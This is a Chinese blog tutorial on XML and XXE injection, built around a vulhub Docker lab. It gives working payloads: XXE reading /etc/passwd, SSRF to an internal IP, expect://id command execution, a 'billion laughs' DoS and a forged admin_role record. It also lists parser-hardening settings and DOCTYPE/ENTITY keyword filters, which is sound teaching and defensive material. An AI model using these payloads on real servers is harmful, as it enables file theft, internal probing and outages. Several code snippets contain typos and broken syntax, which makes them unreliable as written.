XXE:XML外部实体注入攻击

本文介绍了XML的基本概念,文档结构,包括DTD、元素、属性、实体和PCDATA/CDATA的区别。重点讲解了XML外部实体注入(XXE)漏洞的原理,涉及恶意数据注入、文件读取和系统命令执行的风险,以及防范措施,如禁用外部实体加载和过滤用户提交的XML数据。
摘要由CSDN通过智能技术生成

目录

XML基础知识

XML文档的构建模块

DTD(文档类型定义)

DTD实体

XML注入

XXE注入

利用XXE读取任意文件

利用XXE执行系统命令

防御XXE攻击


XXE(XML External Entity):XML外部实体注入漏洞,想要理解该漏洞的攻击原理,就必须要先明白基础知识,了解xml文档的基础组成。

XML基础知识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

它和前端页面的HTML一样也存在注入攻击,并且注入的方法也是非常的相似的

XML文档结构包括XML声明DTD文档类型定义(可选)文档元素

例如:

<?xml version="1.0" encoding="utf-8" ?>

XML文档的构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素

  • 属性

  • 实体

  • PCDATA

  • CDATA

下面是每个构建模块的简要描述:

1,元素 元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。 比如:

<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。

2,属性 属性可提供有关元素的额外信息

比如:

<img src="abc.gif" />

3,实体 实体是用来定义普通文本的变量。

实体引用是对实体的引用。

4,PCDATA PCDATA 的意思是被解析的字符数据(parsed character data)。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

<age>libai age > dufu age</age>

5,CDATA CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。

DTD(文档类型定义)

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

1,内部声明: ex: <!DOCTYOE test any>

例如:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

 

2,外部声明(引用外部DTD): ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'> 

例如:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> //在这里将外部定义好的文档引入了进来
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

而note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

 

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。


实体又分为一般实体和参数实体

1,一般实体的声明语法: 引用实体的方式:&实体名

2,参数实体只能在DTD中使用,参数实体的声明格式: 引用实体的方式:%实体名


1,内部实体声明:

<!ENTITY eviltest "eviltest">

例如:

<?xml version="1.0"?>
内部DTD实体申明
<!DOCTYPE test [
<!ENTITY writer "Bill Gates //声明
<!ENTITY copyright "Copyright W3School.com.cn">//声明
]>
<test>&writer;&copyright;</test> 调用

 

 2,外部实体声明:

例如:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> //外部实体声明,使用system执行
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">//外部实体声明,使用system执行
]>
<author>&writer;&copyright;</author>//调用

在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。

XML注入

比如说下面这个代码将会生成一个XML文件:

final String GUESTROLE = "guest_role";
...
//userdata 是准备保存的XML数据,接收了name和email两个用户提交的数据
String userdata = "<USER role = "guest_role"><name>"+
<request class="getParmeter">("name")+"</name><email>"+request.getParmeter("email")+
"</email></USER>"
//保存XML数据
userDao.save(userdata);

但是如果用户构造了恶意输入数据,就会有可能造成注入攻击

比如用户输入了一下数据:

user1@a.com</email></USER><USER
role="admin role"<name>test</name><email>user2@a.com

那么最终生成的XML文件中将会包含两条USER记录:

<USER role = "guest_role">
<name>user1</name>
<email>user1@a.com</email>
</USER>
<USER role = "admin_role">
<name>user1</name>
<email>user2@a.com</email>
</USER>

XML注入需要满足注入攻击的两大条件:

1、用户能够控制数据的输入

2、并且程序拼接了数据

其修复方案也是与HTML转义类似,将字符替换为相应的实体

XML还支持使用CDATA区段来表示纯文本内容,使用方法如下:

<code><![CDATA [if (a < b && a < 0 ) {...} ] ] > </code>

CDATA区段由“<![CDATA ][”开始,以"]]>"结束,他们所波阿伟的字符串都会被解析器当做文本,但是要注意,文本中不能包含字符串"]]>"

XXE注入

在XML中允许自定义实体,在XML的文档类型定义即DOCTYPE 节点中,我们可以使用ENTITY来定义自己的实体,如:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test "hello,world">
]>
<foo>&test;</foo>

其中自定义了test实体的内容是“hello world”,并且这个实体可以在下面的XML元素中被引用。

此时如下java1代码用dom4j去解析这个xml实体,得到foo节点的值是“hello world”,这是xml自定义实体的常规用法,这种实体也叫内部实体。

SAXReader SAXReader = new SAXReader();
Document document = saxReader.read("demo.xml");
Elemnet root = document.getRootElemnet();
System.out.println(root.getText);

但是XML还支持外部实体,使用SYSTEM关键词可以将外部资源作为实体内容,如:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<foo>&test;</foo>

此时再用上面的java代码去解析,将输入/etc/passwd文件的内容,这种XMl内容中嵌入外部实体的攻击叫做“外部实体注入”。

如果web应用接收用户提交的XML内容,并且在解析后将其中部分内容返回给用户,攻击者将可以通过外部实体注入实现任意文件读取,从而获取服务器上的敏感数据

除了使用file://协议读取本地文件,多数的XML库还支持网络协议读取其他服务器上的资源

攻击者可以用这种方式来实现服务端请求伪造(SSRF),向内部服务器发起攻击,或者读取内部服务器上的资源,例如:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test SYSTEM "http://192.168.159.1/abc.txt">
]>
<foo>&test;</foo>

除了读取文件,在特殊的情况下,服务端还有可能还支持其他危险协议,可以被用来执行更加危险的操作,在PHP中安装expect模块后,就支持使用expect://协议来执行系统命令,如:

expect://ifconfig

此外实体支持嵌套引用,即一个实体可以引用另外一个实体通过构造多级实体引用,可以让实体展开后变成超长的内容,以实现拒绝服务攻击的效果,比如:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- 这还有&x3...&x97 -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<foo>
    &boom;
</foo>

因为外部实体是XML标准的定义,所以更多的XML库都存在漏洞,随着这些库的版本升级,很多库都去掉了引用外部实体的特性,或者默认不启用该特性。但是是有不少XML库需要手动关闭这个特性的,比如PHP中如果使用了libxml库,则需要使用下面的函数关闭加载外部实体

libxml_disable_entity_loader(true);

总:在文本应用中,接收客户端提交的XML内容是非常常见的场景,而且很多标准协议也采用了XML作为数据格式,开发者在使用XML库时最好查询官方文档了解如何进行安全的配置

利用XXE读取任意文件

这里我使用vulhub-master靶场中的xxe漏洞来演示一下XXE漏洞:

下载完源码后,首先就是找到对应的位置:

/root/vulhub-master/php/php_xxe

在运行了docker的前提下,使用下列命令来拉取漏洞环境:

docker-compose  up -d

拉取完成后就可以尝试访问一下:

可以看到一些关于XML的配置和版本信息

由文档可知漏洞环境中的WWW目录下的几个文件分别为:

$ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

然后我们在访问 SimpleXMLElement.php文件时抓包,然后将GET方式修改为POST,然后在下面增加提交的数据

xml文件内容:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

从结果可以看到成功的读取到了/etc/passwd的值

注:这里我们不仅仅可以读取/etc/passwd文件,还可以读取别的文件,但是前提就是需要知道物理路径

利用XXE执行系统命令

提前:安装expect扩展的PHP环境

xml文件内容:

<?php
$xml=<<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "expect://id"> 
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);

然后将编辑好的内容赋值到docker容器中:

docker cp abc.php c5369e20a8d8:/var/www/html

然后访问一下该文件,发现是没有安装expect扩展 

注:因为大部分php并不会安装expect扩展的,因此这种利用方式是比较苛刻的

防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
​
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
​
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

  • 30
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
XML外部实体注入漏洞(XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值